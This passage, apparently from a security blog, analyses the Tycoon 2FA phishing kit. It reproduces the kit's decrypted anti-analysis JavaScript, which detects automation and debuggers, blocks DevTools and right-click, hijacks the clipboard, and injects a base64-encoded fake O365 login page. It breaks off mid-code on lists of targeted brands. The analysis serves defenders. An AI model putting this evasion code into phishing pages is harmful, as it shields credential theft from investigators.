        &lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;gwix&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;performance&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;now&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;debugger&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;gpgg&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;performance&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;now&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;gpgg&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;gwix&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;time&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;ftfs&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;nx&quot;&gt;nwax&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
            &lt;span class=&quot;nx&quot;&gt;ftfs&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
            &lt;span class=&quot;nb&quot;&gt;window&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;location&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;replace&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;https://www.etsy.com&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;},&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;100&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;})();&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This is the function blob/snippet which was kept encrypted and obfuscated all this time, the entire purpose of which is to power the Anti-Analysis measures for the phishing page.&lt;/p&gt;

&lt;p&gt;Let’s unpack it one by one -&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Automation/Headless Browser Detection&lt;/li&gt;
&lt;/ul&gt;

&lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;navigator&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;webdriver&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;||&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;window&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;callPhantom&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;||&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;window&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;_phantom&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;||&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;navigator&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;userAgent&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;includes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;Burp&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;nb&quot;&gt;window&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;location&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;about:blank&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This checks if the browser is automated or being inspected by tools like PhantomJS &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;(window.callPhantom, window._phantom)&lt;/code&gt;, or Burp Suite &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;(userAgent.includes(&quot;Burp&quot;))&lt;/code&gt;. If detected, it redirects the page to a blank page (about:blank).&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Keyboard Shortcut Blocking&lt;/li&gt;
&lt;/ul&gt;

&lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nb&quot;&gt;document&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;addEventListener&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;keydown&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;event&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;c1&quot;&gt;// Checks for keys like F12, Ctrl+Shift+I, Ctrl+U, etc.&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;syyt&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;event&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;nx&quot;&gt;event&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;preventDefault&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;false&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Prevents users from opening developer tools or viewing source code by disabling common shortcuts:&lt;/p&gt;

&lt;p&gt;F12 (DevTools), Ctrl+Shift+I (DevTools), Ctrl+U (View Source), Ctrl+Shift+C (Inspect Element), Ctrl+Shift+J (Console), Ctrl+H (History) and Meta+Alt+I/C (Mac equivalents).&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Context Menu Blocking&lt;/li&gt;
&lt;/ul&gt;

&lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nb&quot;&gt;document&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;addEventListener&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;contextmenu&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;event&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;nx&quot;&gt;event&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;preventDefault&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;false&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Disables right-click context menu and prevents us from easily accessing options like “Inspect” or “View Source,” further obstructing analysis.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Active Debugger Detection and Redirect&lt;/li&gt;
&lt;/ul&gt;

&lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;caxv&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;kd&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;ftfs&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;false&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;txhg&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;100&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;nx&quot;&gt;setInterval&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;gwix&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;performance&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;now&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;debugger&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;gpgg&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;performance&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;now&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;gpgg&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;gwix&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;txhg&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;ftfs&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;nx&quot;&gt;nwax&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
            &lt;span class=&quot;nx&quot;&gt;ftfs&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
            &lt;span class=&quot;nb&quot;&gt;window&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;location&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;replace&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;https://www.etsy.com&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;},&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;100&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;})();&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This repeatedly runs a debugger statement inside a timer and measures the delay caused by the debugger pausing execution. If the delay exceeds 100 ms (likely due to a breakpoint or debugging), it redirects the user to https://www.etsy.com.&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;analyzing-2nd-function-snippet&quot;&gt;Analyzing 2nd function snippet&lt;/h2&gt;

&lt;p&gt;Previously, In the same script, we analyzed its 1st function snippet, now its time to look into the 2nd one -&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://killswitchx7.s3.ap-south-1.amazonaws.com/tycoon2fa/funcblob2-code.png&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Execution, decryption and Anti-analysis logic remains the same, with minor differences in the AES-encrypted Base64 string being split up into multiple variables.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://killswitchx7.s3.ap-south-1.amazonaws.com/tycoon2fa/funcblob2-decrypted.png&quot; /&gt;&lt;/p&gt;

&lt;p&gt;After the decryption ritual is performed, we can observe the inner workings of the content, which is same as the 1st function snippet, with couple of notable differences at the end.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://killswitchx7.s3.ap-south-1.amazonaws.com/tycoon2fa/side-by-side.png&quot; /&gt;&lt;/p&gt;

&lt;p&gt;In the side by side comparison, at the very end we can see changes in the loading of document as follows -&lt;/p&gt;

&lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c1&quot;&gt;// From 1st function snippet&lt;/span&gt;

&lt;span class=&quot;nb&quot;&gt;document&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;addEventListener&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;copy&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;event&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;document&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;activeElement&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;tagName&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;===&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;INPUT&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;||&lt;/span&gt; 
        &lt;span class=&quot;nb&quot;&gt;document&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;activeElement&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;tagName&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;===&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;TEXTAREA&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;||&lt;/span&gt; 
        &lt;span class=&quot;nb&quot;&gt;document&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;activeElement&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;isContentEditable&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;nx&quot;&gt;event&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;preventDefault&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
    &lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;customWord&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;pico&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;nx&quot;&gt;event&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;clipboardData&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;setData&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;text/plain&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;customWord&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c1&quot;&gt;// 2nd function snippet&lt;/span&gt;

&lt;span class=&quot;nx&quot;&gt;mdqg&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;atob&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;wjuf&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;mdqg&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;`Base64_encoded_HTML_PAGE_CONTENT==`&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;document&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;write&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;wjuf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;ul&gt;
  &lt;li&gt;mdqg = atob; assigns the built-in base64 decoder.&lt;/li&gt;
  &lt;li&gt;wjuf = mdqg(“Base64_encoded_HTML_PAGE_CONTENT==”); decodes another base64 string.&lt;/li&gt;
  &lt;li&gt;document.write(wjuf); writes the decoded content directly into the HTML document.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Here, it dynamically injects/replaces the entire page with the decrypted content.&lt;/p&gt;

&lt;h2 id=&quot;2nd-html-wrapper&quot;&gt;2nd HTML Wrapper&lt;/h2&gt;

&lt;p&gt;The Base64 encoded string, which was depicted earlier as - &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Base64_encoded_HTML_PAGE_CONTENT==&lt;/code&gt; in the variable &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;wjuf&lt;/code&gt; is an entire HTML page in itself, which gets injected, on top of that (and most importantly), that HTML page has its own set of function snippets/blob with same nomenclature, obfuscation and encryption routine, with some variation.&lt;/p&gt;

&lt;p&gt;Visual assets include login form attributes and images/gifs for mimicking 0365 login page.&lt;/p&gt;

&lt;p&gt;The first function blob is exactly the same as we saw earlier. The 2nd function blob has some differences.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://killswitchx7.s3.ap-south-1.amazonaws.com/tycoon2fa/functionblob3.png&quot; /&gt;&lt;/p&gt;

&lt;p&gt;As you can observe, the key is also different.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://killswitchx7.s3.ap-south-1.amazonaws.com/tycoon2fa/functionblob3-decrypted.png&quot; /&gt;&lt;/p&gt;

&lt;p&gt;After AES decryption we get -&lt;/p&gt;

&lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;otherweburl&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;websitenames&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;godaddy&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;okta&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;bes&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;Apple.com&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;Netflix.com&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;pes&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;https:&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;/t.me&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;https:&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;/t.com&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;t.me&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;https:&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;&lt;span 